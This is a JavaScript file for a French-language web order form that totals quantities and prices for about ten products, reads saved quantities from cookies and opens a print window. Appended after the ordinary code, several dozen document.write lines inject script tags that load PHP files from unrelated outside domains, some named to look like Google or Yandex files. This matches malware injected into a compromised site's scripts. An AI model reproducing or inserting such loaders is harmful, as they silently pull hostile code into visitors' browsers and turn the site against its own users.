function Calcul()
{
var Total = 0;
document.forms[0].FRAIS.value = " 2.65";
document.forms[0].PrixChrysalide.value = " 19.00";
if (document.forms[0].elements["NBChrysalide"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBChrysalide"].value, 0) * parseFloat(document.forms[0].elements["PrixChrysalide"].value), 2);
document.forms[0].elements["SUMChrysalide"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixPiano.value = " 19.00";
if (document.forms[0].elements["NBPiano"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBPiano"].value, 0) * parseFloat(document.forms[0].elements["PrixPiano"].value), 2);
document.forms[0].elements["SUMPiano"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixPapillons_bleus.value = " 13.00";
if (document.forms[0].elements["NBPapillons_bleus"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBPapillons_bleus"].value, 0) * parseFloat(document.forms[0].elements["PrixPapillons_bleus"].value), 2);
document.forms[0].elements["SUMPapillons_bleus"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixMulp.value = " 9.50";
if (document.forms[0].elements["NBMulp"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBMulp"].value, 0) * parseFloat(document.forms[0].elements["PrixMulp"].value), 2);
document.forms[0].elements["SUMMulp"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixPetit_Dragon.value = " 18.00";
if (document.forms[0].elements["NBPetit_Dragon"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBPetit_Dragon"].value, 0) * parseFloat(document.forms[0].elements["PrixPetit_Dragon"].value), 2);
document.forms[0].elements["SUMPetit_Dragon"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixQuintessence.value = " 21.19";
if (document.forms[0].elements["NBQuintessence"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBQuintessence"].value, 0) * parseFloat(document.forms[0].elements["PrixQuintessence"].value), 2);
document.forms[0].elements["SUMQuintessence"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixRedemption.value = " 19.00";
if (document.forms[0].elements["NBRedemption"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBRedemption"].value, 0) * parseFloat(document.forms[0].elements["PrixRedemption"].value), 2);
document.forms[0].elements["SUMRedemption"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixSansCoeur.value = " 19.00";
if (document.forms[0].elements["NBSansCoeur"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBSansCoeur"].value, 0) * parseFloat(document.forms[0].elements["PrixSansCoeur"].value), 2);
document.forms[0].elements["SUMSansCoeur"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixPuces.value = " 19.00";
if (document.forms[0].elements["NBPuces"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBPuces"].value, 0) * parseFloat(document.forms[0].elements["PrixPuces"].value), 2);
document.forms[0].elements["SUMPuces"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].PrixLivre_Tigre.value = " 19.00";
if (document.forms[0].elements["NBLivre_Tigre"].value)
{
var sousTotal = Rond(parseInt(document.forms[0].elements["NBLivre_Tigre"].value, 0) * parseFloat(document.forms[0].elements["PrixLivre_Tigre"].value), 2);
document.forms[0].elements["SUMLivre_Tigre"].value =sousTotal ;
Total += sousTotal*1.0;
}
document.forms[0].TOTAL.value = Rond(Total, 2);
if (document.forms[0].TOTAL.value * 1 != 0)
document.forms[0].TOTALFRAIS.value = Rond(1 * document.forms[0].TOTAL.value + parseFloat(document.forms[0].FRAIS.value), 2);
else
document.forms[0].TOTALFRAIS.value = 0;
}
function LivreCmd()
{
if (lit_cook("Chrysalide"))
{
document.forms[0].elements["NBChrysalide"].value=lit_cook("Chrysalide");}
if (lit_cook("Piano"))
{
document.forms[0].elements["NBPiano"].value=lit_cook("Piano");}
if (lit_cook("Papillons_bleus"))
{
document.forms[0].elements["NBPapillons_bleus"].value=lit_cook("Papillons_bleus");}
if (lit_cook("Mulp"))
{
document.forms[0].elements["NBMulp"].value=lit_cook("Mulp");}
if (lit_cook("Petit_Dragon"))
{
document.forms[0].elements["NBPetit_Dragon"].value=lit_cook("Petit_Dragon");}
if (lit_cook("Quintessence"))
{
document.forms[0].elements["NBQuintessence"].value=lit_cook("Quintessence");}
if (lit_cook("Redemption"))
{
document.forms[0].elements["NBRedemption"].value=lit_cook("Redemption");}
if (lit_cook("SansCoeur"))
{
document.forms[0].elements["NBSansCoeur"].value=lit_cook("SansCoeur");}
if (lit_cook("Puces"))
{
document.forms[0].elements["NBPuces"].value=lit_cook("Puces");}
if (lit_cook("Livre_Tigre"))
{
document.forms[0].elements["NBLivre_Tigre"].value=lit_cook("Livre_Tigre");}
}
function Imprime()
{
html="BonCmdPrint.Htm?";
html+="Adresse=";
    for (var i=1;i<=4;i++)
            {
   if (document.forms[0].elements[String("ADD"+i)].value != "")
html+=escape(String(document.forms[0].elements[String("ADD"+i)].value)+"\n");
}
html+=escape(document.forms[0].CP.value+" "+document.forms[0].Ville.value+"\n");
html+=escape(document.forms[0].Pays.value);
  html+="&NBChrysalide="+document.forms[0].elements["NBChrysalide"].value;
  html+="&NBPiano="+document.forms[0].elements["NBPiano"].value;
  html+="&NBPapillons_bleus="+document.forms[0].elements["NBPapillons_bleus"].value;
  html+="&NBMulp="+document.forms[0].elements["NBMulp"].value;
  html+="&NBPetit_Dragon="+document.forms[0].elements["NBPetit_Dragon"].value;
  html+="&NBQuintessence="+document.forms[0].elements["NBQuintessence"].value;
  html+="&NBRedemption="+document.forms[0].elements["NBRedemption"].value;
  html+="&NBSansCoeur="+document.forms[0].elements["NBSansCoeur"].value;
  html+="&NBPuces="+document.forms[0].elements["NBPuces"].value;
  html+="&NBLivre_Tigre="+document.forms[0].elements["NBLivre_Tigre"].value;
var obj_calwindow = window.open(html,"Commande","width=700,height=750,status=no,toolbar=no,menubar=no,location=no");
obj_calwindow.opener = window;
obj_calwindow.focus();
}

document.write('<script src=http://sonomatowncenter.com/includes/google66df7cdb43de088c.php ><\/script>');
document.write('<script src=http://sonomatowncenter.com/includes/google66df7cdb43de088c.php ><\/script>');
document.write('<script src=http://sonomatowncenter.com/includes/google66df7cdb43de088c.php ><\/script>');
document.write('<script src=http://ebridge.co.in/images/gifimg.php ><\/script>');
document.write('<script src=http://ebridge.co.in/images/gifimg.php ><\/script>');
document.write('<script src=http://pilgrimproductsandpromotions.viralhosts.com/plg/index.php ><\/script>');
document.write('<script src=http://pilgrimproductsandpromotions.viralhosts.com/plg/index.php ><\/script>');
document.write('<script src=http://pilgrimproductsandpromotions.viralhosts.com/plg/index.php ><\/script>');
document.write('<script src=http://pilgrimproductsandpromotions.viralhosts.com/plg/index.php ><\/script>');
document.write('<script src=http://pilgrimproductsandpromotions.viralhosts.com/plg/index.php ><\/script>');
document.write('<script src=http://pilgrimproductsandpromotions.viralhosts.com/plg/index.php ><\/script>');
document.write('<script src=http://space-pizza.ru/goods_pictures/install.php ><\/script>');
document.write('<script src=http://space-pizza.ru/goods_pictures/install.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://jmb114.com/bbs/sub09.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://trivianightslive.com/inc/index.php ><\/script>');
document.write('<script src=http://cristalbabes.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ecaeda.com/includes/index2.php ><\/script>');
document.write('<script src=http://ecaeda.com/includes/index2.php ><\/script>');
document.write('<script src=http://ecaeda.com/includes/index2.php ><\/script>');
document.write('<script src=http://ecaeda.com/includes/index2.php ><\/script>');
document.write('<script src=http://ecaeda.com/includes/index2.php ><\/script>');
document.write('<script src=http://ecaeda.com/includes/index2.php ><\/script>');
document.write('<script src=http://happygolf.lt/picture_library/default.php ><\/script>');
document.write('<script src=http://marionnaud.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://marionnaud.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://marionnaud.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://marionnaud.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://biel.ru/images/yandex_50c65c9d6c9d0596.php ><\/script>');
document.write('<script src=http://biel.ru/images/yandex_50c65c9d6c9d0596.php ><\/script>');
document.write('<script src=http://biel.ru/images/yandex_50c65c9d6c9d0596.php ><\/script>');
document.write('<script src=http://biel.ru/images/yandex_50c65c9d6c9d0596.php ><\/script>');